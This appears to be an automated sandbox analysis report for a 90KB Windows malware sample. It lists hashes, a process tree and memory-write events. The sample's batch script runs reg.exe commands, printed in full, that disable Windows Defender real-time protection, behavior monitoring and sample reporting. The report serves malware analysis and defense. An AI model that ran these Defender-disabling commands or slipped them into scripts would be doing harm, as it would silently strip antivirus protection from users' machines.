Analysis
-
max time kernel
40s -
max time network
47s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
20-05-2022 22:31
Static task
static1
Behavioral task
behavioral1
Sample
d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe
Resource
win7-20220414-en
General
-
Target
d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe
-
Size
90KB
-
MD5
85340d7bc64e23ba2c61f9612c369148
-
SHA1
38e2ada88a258f16391b6d2ec2e1ff462b2e8fd3
-
SHA256
d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf
-
SHA512
48806f8afa726c200a26fc7c8235e542b63e2026b2f88df8508caee25681ea5e415e22982ee45ebb147c0166be34d407c3ced90b49e0719a1fd31a643b2a0e20
Malware Config
Signatures
-
Suspicious use of WriteProcessMemory 43 IoCs
Processes:
d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.execmd.exedescription pid process target process PID 1532 wrote to memory of 904 1532 d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe cmd.exe PID 1532 wrote to memory of 904 1532 d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe cmd.exe PID 1532 wrote to memory of 904 1532 d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe cmd.exe PID 1532 wrote to memory of 904 1532 d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe cmd.exe PID 904 wrote to memory of 1312 904 cmd.exe reg.exe PID 904 wrote to memory of 1312 904 cmd.exe reg.exe PID 904 wrote to memory of 1312 904 cmd.exe reg.exe PID 904 wrote to memory of 1748 904 cmd.exe reg.exe PID 904 wrote to memory of 1748 904 cmd.exe reg.exe PID 904 wrote to memory of 1748 904 cmd.exe reg.exe PID 904 wrote to memory of 1948 904 cmd.exe reg.exe PID 904 wrote to memory of 1948 904 cmd.exe reg.exe PID 904 wrote to memory of 1948 904 cmd.exe reg.exe PID 904 wrote to memory of 1000 904 cmd.exe reg.exe PID 904 wrote to memory of 1000 904 cmd.exe reg.exe PID 904 wrote to memory of 1000 904 cmd.exe reg.exe PID 904 wrote to memory of 2024 904 cmd.exe reg.exe PID 904 wrote to memory of 2024 904 cmd.exe reg.exe PID 904 wrote to memory of 2024 904 cmd.exe reg.exe PID 904 wrote to memory of 684 904 cmd.exe reg.exe PID 904 wrote to memory of 684 904 cmd.exe reg.exe PID 904 wrote to memory of 684 904 cmd.exe reg.exe PID 904 wrote to memory of 1996 904 cmd.exe reg.exe PID 904 wrote to memory of 1996 904 cmd.exe reg.exe PID 904 wrote to memory of 1996 904 cmd.exe reg.exe PID 904 wrote to memory of 2008 904 cmd.exe reg.exe PID 904 wrote to memory of 2008 904 cmd.exe reg.exe PID 904 wrote to memory of 2008 904 cmd.exe reg.exe PID 904 wrote to memory of 564 904 cmd.exe reg.exe PID 904 wrote to memory of 564 904 cmd.exe reg.exe PID 904 wrote to memory of 564 904 cmd.exe reg.exe PID 904 wrote to memory of 1976 904 cmd.exe reg.exe PID 904 wrote to memory of 1976 904 cmd.exe reg.exe PID 904 wrote to memory of 1976 904 cmd.exe reg.exe PID 904 wrote to memory of 1960 904 cmd.exe reg.exe PID 904 wrote to memory of 1960 904 cmd.exe reg.exe PID 904 wrote to memory of 1960 904 cmd.exe reg.exe PID 904 wrote to memory of 1728 904 cmd.exe reg.exe PID 904 wrote to memory of 1728 904 cmd.exe reg.exe PID 904 wrote to memory of 1728 904 cmd.exe reg.exe PID 904 wrote to memory of 1760 904 cmd.exe reg.exe PID 904 wrote to memory of 1760 904 cmd.exe reg.exe PID 904 wrote to memory of 1760 904 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe"C:\Users\Admin\AppData\Local\Temp\d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\DB8.tmp\DC8.tmp\DC9.bat C:\Users\Admin\AppData\Local\Temp\d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\DB8.tmp\DC8.tmp\DC9.batFilesize
1KB
MD5509170ad1804d3092fa6c5cf530e017f
SHA13fb5b0dee2231ef6e7d0f71b6af5b298f109c2c4
SHA2567a1f7876c4cdbc2010f08f143347f6c037c558ff57a3209cb5a56644e385280d
SHA512ef12b29934cb19fe87e7014f6cbd22e23c1b77f3841ecd06b980e72d6c067f9b1a32524b5985c70f1537cecbad8286a73925de3b87e396cf19bb6580e828ee58
-
memory/564-65-0x0000000000000000-mapping.dmp
-
memory/684-62-0x0000000000000000-mapping.dmp
-
memory/904-55-0x0000000000000000-mapping.dmp
-
memory/1000-60-0x0000000000000000-mapping.dmp
-
memory/1312-57-0x0000000000000000-mapping.dmp
-
memory/1532-54-0x0000000075581000-0x0000000075583000-memory.dmpFilesize
8KB
-
memory/1728-68-0x0000000000000000-mapping.dmp
-
memory/1748-58-0x0000000000000000-mapping.dmp
-
memory/1760-69-0x0000000000000000-mapping.dmp
-
memory/1948-59-0x0000000000000000-mapping.dmp
-
memory/1960-67-0x0000000000000000-mapping.dmp
-
memory/1976-66-0x0000000000000000-mapping.dmp
-
memory/1996-63-0x0000000000000000-mapping.dmp
-
memory/2008-64-0x0000000000000000-mapping.dmp
-
memory/2024-61-0x0000000000000000-mapping.dmp